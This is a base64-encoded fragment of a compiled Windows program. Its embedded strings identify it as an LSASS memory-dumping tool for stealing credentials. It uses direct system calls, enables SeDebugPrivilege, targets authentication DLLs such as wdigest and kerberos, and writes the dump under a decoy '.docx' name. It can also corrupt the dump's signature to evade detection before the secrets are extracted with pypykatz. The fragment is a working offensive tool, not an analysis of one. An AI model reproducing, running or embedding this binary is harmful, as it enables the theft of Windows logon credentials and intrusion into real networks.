PuBIXAdPBBiVwkFEyJ4EiDxChbXl9dQVxBXUFeQV/DDx+AAAAAAEFWQVVBVFVXVlNIg+wgidBJic2J04PgAw+FOgEAAMH7Ak2J7HR1SIs9g3kAAEiF/w+EUgEAAE2J7EyLLYiKAABIjS2JggAATYnu6xMPH0AA0ft0R0iLN0iF9nRUSIn39sMBdOxIifpMieHoMf7//0iJxkiFwA+EBQEAAE2F5A+EnAAAAEGDfCQICX5UTInhSYn06LEHAADR+3W5TIngSIPEIFteX11BXEFdQV7DDx8AuQEAAADo1vn//0iLN0iF9nRugz1XggAAAnWRSI0NhoIAAEH/1uuFZg8fhAAAAAAAMcnoqfn//0ljRCQIgz0tggAAAkiLVMUATIlkxQBJiRQkSYn0D4VG////SI0NH4IAAEH/1ek3////Dx+AAAAAAEmJxOko////Dx+EAAAAAABIifpIifnoZf3//0iJB0iJxkiFwHQ6SMcAAAAAAOlw////Zg8fRAAAg+gBSI0VrkQAAEUxwEiYixSC6MH7//9JicVIhcAPhaP+//8PH0QAAEUx5OkT////uQEAAADo/vj//0iLPRd4AABIhf90H4M9e4EAAAIPhYv+//9IjQ2mgQAA/xUQiQAA6Xn+//+5AQAAAOj5+f//SInHSIXAdB5IuAEAAABxAgAASIk90HcAAEiJRxRIxwcAAAAA67FIxwW4dwAAAAAAAEUx5Omb/v//QVZBVUFUVVdWU0iD7CBJicyJ1otJCInTQYtsJBTB/gVBi0QkDAH1RI1tAUE5xX4KAcCDwQFBOcV/9uiB+f//SYnGSIXAD4SiAAAASI14GIX2fhdIY/ZIifkx0kjB5gJJifBIAfforgUAAEljRCQUSY10JBhMjQyGg+MfD4R/AAAAQbogAAAASYn4MdJBKdqQiwaJ2UmDwARIg8YE0+BEidEJ0EGJQPyLVvzT6kk58XffTInISY1MJBlMKeBIg+gZSMHoAkk5ybkEAAAASI0EhQQAAABID0LBhdJBD0XtiRQHQYluFEyJ4ejT+f//TInwSIPEIFteX11BXEFdQV7DkKVJOfF226VJOfF39OvTZpBIY0IURItBFEmJ0UEpwHU8SI0UhQAAAABIg8EYSI0EEUmNVBEY6w5mDx+EAAAAAABIOcFzF0iD6ARIg+oERIsSRDkQdOtFGcBBg8gBRInAw0FUVVdWU0iD7CBIY0IUi3kUSInOSInTKccPhWEBAABIjRSFAAAAAEiNSRhIjQQRSI1UExjrE2YuDx+EAAAAAABIOcEPg1cBAABIg+gESIPqBESLGkQ5GHTnD4IsAQAAi04I6Pn3//9JicBIhcAPhPgAAACJeBBIY0YUSI1uGE2NYBi5GAAAADHSSYnBTI1chQBIY0MUSI18gxhmDx9EAACLBA5IKdCLFAtIKdBBiQQISInCSIPBBEGJwkjB6iBIjQQZg+IBSDnHd9ZIifhIjXMZSCnYuwAAAABIg+gZSInBSIPg/EjB6QJIOfdID0LDSI0MjQQAAAC7BAAAAEwB4Eg590gPQstIAc1JAcxJOet2P0yJ40iJ6WYPH4QAAAAAAIsBSIPBBEiDwwRIKdBIicKJQ/xBicJIweogg+IBSTnLd95JjUP/SCnoSIPg/EwB4EWF0nUSDx8Ai1D8SIPoBEGD6QGF0nTxRYlIFEyJwEiDxCBbXl9dQVzDDx+AAAAAAL8AAAAAD4nU/v//SInwvwEAAABIid5IicPpwf7//2aQMcnoufb//0mJwEiFwHS8TInAScdAFAEAAABIg8QgW15fXUFcw2ZmLg8fhAAAAAAAQVRTSGNBFEyNWRhJidS5IAAAAE2NDIOJyEWLQfxNjVH8QQ+90IPyHynQQYkEJIP6Cg+OiQAAAIPqC00503NhRYtR+IXSdGCJy0SJwInRRYnQKdPT4InZQdPoidFJjVH4RAnAQdPiDQAA8D9IweAgSTnTcwtBi1H0idnT6kEJ0ki6AAAAAP////9IIdBMCdBmSA9uwFtBXMMPH4QAAAAAAEUx0oXSdVlEicANAADwP0jB4CBMCdBmSA9uwFtBXMOQuQsAAABEicAx2ynR0+gNAADwP0jB4CBNOdNzBkGLWfjT641KFUHT4EEJ2EwJwGZID27AW0Fcw2YPH4QAAAAAAESJwInRRTHS0+ANAADwP0jB4CDpZ////w8fhAAAAAAAV1ZTSIPsILkBAAAAZkgPfsNIiddMicboVPX//0mJwkiFwA+EjgAAAEiJ2UiJ2EjB6SCJysHpFIHi//8PAEGJ0UGByQAAEACB4f8HAABBD0XRQYnIhdt0cEUxyfNED7zLRInJ0+hFhcl0E7kgAAAAidNEKcnT40SJyQnY0+pBiUIYg/oBuAEAAACD2P9BiVIcQYlCFEWFwHVRSGPQweAFQYHpMgQAAEEPvVSSFESJD4PyHynQiQZMidBIg8QgW15fww8fgAAAAAAxyUHHQhQBAAAAuAEAAADzD7zK0+pEjUkgQYlSGEWFwHSvQ42ECM37//+JB7g1AAAARCnIiQZMidBIg8QgW15fww8fgAAAAABIichIidFIjVIBD7YJiAiEyXQWDx9EAAAPtgpIg8ABSIPCAYgIhMl178OQkJCQkJBFMcBIichIhdJ1FOsXDx8ASIPAAUmJwEkpyEk50HMFgDgAdexMicDDkJCQkJCQkJD/JaqEAACQkP8lmoQAAJCQ/yWKhAAAkJD/JXqEAACQkP8laoQAAJCQ/yVahAAAkJD/JUqEAACQkP8lOoQAAJCQ/yUqhAAAkJD/JRqEAACQkP8lCoQAAJCQ/yX6gwAAkJD/JeqDAACQkP8l2oMAAJCQ/yXKgwAAkJD/JbqDAACQkP8lqoMAAJCQ/yWagwAAkJD/JYqDAACQkP8leoMAAJCQ/yVqgwAAkJD/JVqDAACQkP8lSoMAAJCQ/yU6gwAAkJD/JSqDAACQkP8lEoMAAJCQ/yUCgwAAkJD/JeqCAACQkP8l0oIAAJCQ/yW6ggAAkJD/JaqCAACQkP8lkoIAAJCQ/yWCggAAkJD/JXKCAACQkP8lUoIAAJCQ/yUyggAAkJBXU0iD7EhIic9IidNIhdIPhDMBAABNhcAPhDMBAABBiwEPthJBxwEAAAAAiUQkPITSD4ShAAAAg7wkiAAAAAF2d4TAD4WnAAAATIlMJHiLjCSAAAAATIlEJHD/FYCBAACFwHRUTItEJHBMi0wkeEmD+AEPhPUAAABIiXwkIEG5AgAAAEmJ2MdEJCgBAAAAi4wkgAAAALoIAAAA/xVQgQAAhcAPhLAAAAC4AgAAAEiDxEhbX8MPH0AAi4QkgAAAAIXAdU0PtgNmiQe4AQAAAEiDxEhbX8MPHwAx0jHAZokRSIPESFtfw2YuDx+EAAAAAACIVCQ9QbkCAAAATI1EJDzHRCQoAQAAAEiJTCQg64BmkMdEJCgBAAAAi4wkgAAAAEmJ2EG5AQAAAEiJfCQguggAAAD/FbiAAACFwHQcuAEAAADrnA8fRAAAMcBIg8RIW1/DuP7////rh+hj/v//xwAqAAAAuP/////pcv///w+2A0GIAbj+////6WL///8PHwBBVUFUV1ZTSIPsQDHASYnMSIXJZolEJD5IjUQkPkyJy0wPROBJidVMicbo6QQAAInH6OoEAABIhduJfCQoSYnwiUQkIEyNDe14AABMiepMieFMD0XL6Cb+//9ImEiDxEBbXl9BXEFdww8fhAAAAAAAQVZBVUFUVVdWU0iD7EBIjQWveAAATYnNTYXJSYnOSInTTA9E6EyJxuiDBAAAicXodAQAAInHSIXbD4TBAAAASIsTSIXSD4S1AAAATYX2dHBFMeRIhfZ1H+tKZg8fRAAASIsTSJhJg8YCSQHESAHCSIkTTDnmdi2JfCQoSYnwTYnpTInxiWwkIE0p4OiA/f//hcB/zEw55nYLhcB1B0jHAwAAAABMieBIg8RAW15fXUFcQV1BXsNmLg8fhAAAAAAAMcBBif5IjXQkPkUx5GaJRCQ+6wwPH0AASJhIixNJAcSJfCQoTAHiTYnpTYnwiWwkIEiJ8egX/f//hcB/2+ulkEUx5OufZmYuDx+EAAAAAABBVFdWU0iD7EgxwEmJzEiJ1kyJw2aJRCQ+6HoDAACJx+h7AwAASIXbiXwkKEmJ8EiNFXp3AACJRCQgSI1MJD5ID0TaTIniSYnZ6LL8//9ImEiDxEhbXl9BXMOQkJCQkJBIg+xYSInIZolUJGhEicFFhcB1HGaB+v8Ad1mIELgBAAAASIPEWMNmDx+EAAAAAABIjVQkTESJTCQoTI1EJGhBuQEAAABIiVQkODHSx0QkTAAAAABIx0QkMAAAAABIiUQkIP8VWH4AAIXAdAiLVCRMhdJ0rujn+///xwAqAAAAuP////9Ig8RYww8fgAAAAABBVFZTSIPsMEiFyUmJzEiNRCQridNMD0Tg6IoCAACJxuiLAgAAD7fTQYnxTInhQYnA6Dr///9ImEiDxDBbXkFcw2ZmLg8fhAAAAAAADx9AAEFWQVVBVFVXVlNIg+wwRTH2SYnUSInLTInF6EECAACJx+gyAgAASYs0JEGJxUiF9nRNSIXbdGFIhe11J+mPAAAADx+AAAAAAEiYSAHDSQHGgHv/AA+EhgAAAEiDxgJMOfV2bQ+3FkWJ6UGJ+EiJ2eis/v//hcB/0EnHxv////9MifBIg8QwW15fXUFcQV1BXsMPH4AAAAAASI1sJCvrF5BIY9CD6AFImEkB1oB8BCsAdD5Ig8YCD7cWRYnpQYn4SInp6Fn+//+FwH/V66sPHwBJiTQk66lmLg8fhAAAAAAASccEJAAAAABJg+4B65FmkEmD7gHriZCQkJCQkJCQkJBTSIPsIInL6EQBAACJ2UiNFElIweIESAHQSIPEIFvDkEiLBVl1AADDDx+EAAAAAABIichIhwVGdQAAw5CQkJCQU0iD7CBIicsxyeix////SDnDcg+5EwAAAOii////SDnDdhVIjUswSIPEIFtI/yX1ewAADx9EAAAxyeiB////SYnASInYTCnASMH4BGnAq6qqqo1IEOiuAAAAgUsYAIAAAEiDxCBbw2YPH4QAAAAAAFNIg+wgSInLMcnoQf///0g5w3IPuRMAAADoMv///0g5w3YVSI1LMEiDxCBbSP8lxXsAAA8fRAAAgWMY/3///zHJ6Ar///9IKcNIwfsEadurqqqqjUsQSIPEIFvpMAAAAEiLBbk4AABIiwDDkJCQkJBIiwW5OAAASIsAw5CQkJCQSIsFuTgAAEiLAMOQkJCQkP8lQnwAAJCQ/yUifAAAkJD/JcJ7AACQkP8lonsAAJCQ/yWSewAAkJAPH4QAAAAAAP8l2noAAJCQDx+EAAAAAAD/JVp7AACQkP8lSnsAAJCQ/yU6ewAAkJD/JSp7AACQkP8lGnsAAJCQ/yUKewAAkJD/Jfp6AACQkP8l6noAAJCQ/yXaegAAkJD/Jcp6AACQkP8lunoAAJCQ/yWqegAAkJD/JZp6AACQkP8linoAAJCQ/yV6egAAkJD/JWp6AACQkP8lWnoAAJCQDx+EAAAAAADp+2z//5CQkJCQkJCQkJCQ//////////8gqEAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFCoQAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAQAAAAMO////APwAAAQAAAAAAAAAOAAAAAAAAAAAAAADAEUEAAAAAAAAAAAAAAAAAEKZAAAAAAAAAAAAAAAAAADCmQAAAAAAAQKZAAAAAAADApkAAAAAAAFCmQAAAAAAAIKdAAAAAAAAAAAAAAAAAADCnQAAAAAAAAAAAAAAAAABAp0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTVzJfUG9wdWxhdGVTeXNjYWxsTGlzdCBmYWlsZWQKAHN5c2NhbGwgd2l0aCBoYXNoIDB4JWx4IG5vdCBmb3VuZAoAAAAAAABUaGUgZHVtcCBpcyB0b28gYmlnLiBJbmNyZWFzZSBEVU1QX01BWF9TSVpFLgoAAABGYWlsZWQgdG8gY2FsbCBIZWFwQWxsb2MgZm9yIDB4JXggYnl0ZXMsIGVycm9yOiAlbGQKAABcAD8APwBcAAAAVGhlIHBhdGggJyVzJyBpcyBpbnZhbGlkLgoAAAAAAABGYWlsZWQgdG8gY2FsbCBOdENyZWF0ZUZpbGUsIHN0YXR1czogMHglbHgKAAAAAABGYWlsZWQgdG8gY2FsbCBOdFdyaXRlRmlsZSwgc3RhdHVzOiAweCVseAoAAAAAAABTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAARmFpbGVkIHRvIGNhbGwgTG9va3VwUHJpdmlsZWdlVmFsdWVXLCBlcnJvcjogJWxkCgAAAAAAAABGYWlsZWQgdG8gY2FsbCBOdE9wZW5Qcm9jZXNzVG9rZW4sIHN0YXR1czogMHglbHgKAAAAAAAAAEZhaWxlZCB0byBjYWxsIE50QWRqdXN0UHJpdmlsZWdlc1Rva2VuLCBzdGF0dXM6IDB4JWx4CgAAVGhlcmUgaXMgbm8gcHJvY2VzcyB3aXRoIHRoZSBQSUQgJWxkLgoAAENvdWxkIG5vdCBvcGVuIGEgaGFuZGxlIHRvICVsZAoARmFpbGVkIHRvIGNhbGwgTnRPcGVuUHJvY2Vzcywgc3RhdHVzOiAweCVseAoAAAAARmFpbGVkIHRvIGNhbGwgTnRRdWVyeUluZm9ybWF0aW9uUHJvY2Vzcywgc3RhdHVzOiAweCVseAoAAAAAAAAAAEZhaWxlZCB0byBjYWxsIE50UmVhZFZpcnR1YWxNZW1vcnksIHN0YXR1czogMHglbHgKAABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAAAAAAAAVGhpcyBzZWxlY3RlZCBwcm9jZXNzIGlzIG5vdCBMU0FTUy4KAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAdABzAHAAawBnAC4AZABsAGwAAAB3AGQAaQBnAGUAcwB0AC4AZABsAGwAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAbABzAGEAZABiAC4AZABsAGwAAABzAGEAbQBzAHIAdgAuAGQAbABsAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAG4AYwByAHkAcAB0AC4AZABsAGwAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAHcAZQB2AHQAcwB2AGMALgBkAGwAbAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAGMAbABvAHUAZABhAHAALgBkAGwAbAAAAAAAAAAAAEZhaWxlZCB0byBjYWxsIEhlYXBBbGxvYyBmb3IgMHglbGx4IGJ5dGVzLCBlcnJvcjogJWxkCgAARmFpbGVkIHRvIGNhbGwgTnRSZWFkVmlydHVhbE1lbW9yeSwgc3RhdHVzOiAweCVseC4gQ29udGludWluZyBhbnl3YXlzLi4uCgAAAAAAAABUaGUgTFNBU1MgcHJvY2VzcyB3YXMgbm90IGZvdW5kLgoAAAAAAAAARmFpbGVkIHRvIGNhbGwgTnRHZXROZXh0UHJvY2Vzcywgc3RhdHVzOiAweCVseAoAbABzAGEAcwBzAC4AZQB4AGUAAAAAAAAAdXNhZ2U6ICVzIC0td3JpdGUgQzpcV2luZG93c1xUZW1wXGRvYy5kb2N4IFstLXZhbGlkXSBbLS1waWQgMTIzNF0gWy0taGVscF0KACAgICAtLXdyaXRlIFBBVEgsIC13IFBBVEgKAAAgICAgICAgICAgICBmdWxsIHBhdGggdG8gdGhlIGR1bXBmaWxlCgAgICAgLS12YWxpZCwgLXYKACAgICAgICAgICAgIGNyZWF0ZSBhIGR1bXAgd2l0aCBhIHZhbGlkIHNpZ25hdHVyZSAob3B0aW9uYWwpCgAgICAgLS1waWQgUElELCAtcCBQSUQKAAAAAAAgICAgICAgICAgICB0aGUgUElEIG9mIExTQVNTIChvcHRpb25hbCkKACAgICAtLWhlbHAsIC1oCgAAAAAAAAAAICAgICAgICAgICAgcHJpbnQgdGhpcyBoZWxwIG1lc3NhZ2UgYW5kIGxlYXZlAFBNRE0ALXYALS12YWxpZAAtdwAtLXdyaXRlAC1wAC0tcGlkAC1oAC0taGVscABpbnZhbGlkIGFyZ3VtZW50OiAlcwoAAAAAAAAAWW91IG11c3QgcHJvdmlkZSBhIGZ1bGwgcGF0aDogJXMAAAAAAAAAAENvdWxkIG5vdCBlbmFibGUgJ1NlRGVidWdQcml2aWxlZ2UnLCBjb250aW51aW5nIGFueXdheXMuLi4KAAAAAABDb3VsZCBub3QgYWxsb2NhdGUgZW5vdWdoIG1lbW9yeSB0byB3cml0ZSB0aGUgZHVtcAAAAAAAAEZhaWxlZCB0byBjYWxsIE50RnJlZVZpcnR1YWxNZW1vcnksIHN0YXR1czogMHglbHgKAAAAAAAAVGhlIG1pbmlkdW1wIGhhcyBhbiBpbnZhbGlkIHNpZ25hdHVyZSwgcmVzdG9yZSBpdCBydW5uaW5nOgpiYXNoIHJlc3RvcmVfc2lnbmF0dXJlLnNoICVzCgAAAAAAAAAARG9uZSwgdG8gZ2V0IHRoZSBzZWNyZXR6IHJ1bjoKcHl0aG9uMyAtbSBweXB5a2F0eiBsc2EgbWluaWR1bXAgJXMKAAAAAAAAAAAAAAAAAADQQkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAACEBBAAAAAACcEEEAAAAAAEAwQQAAAAAAAAAAAAAAAAAAAAA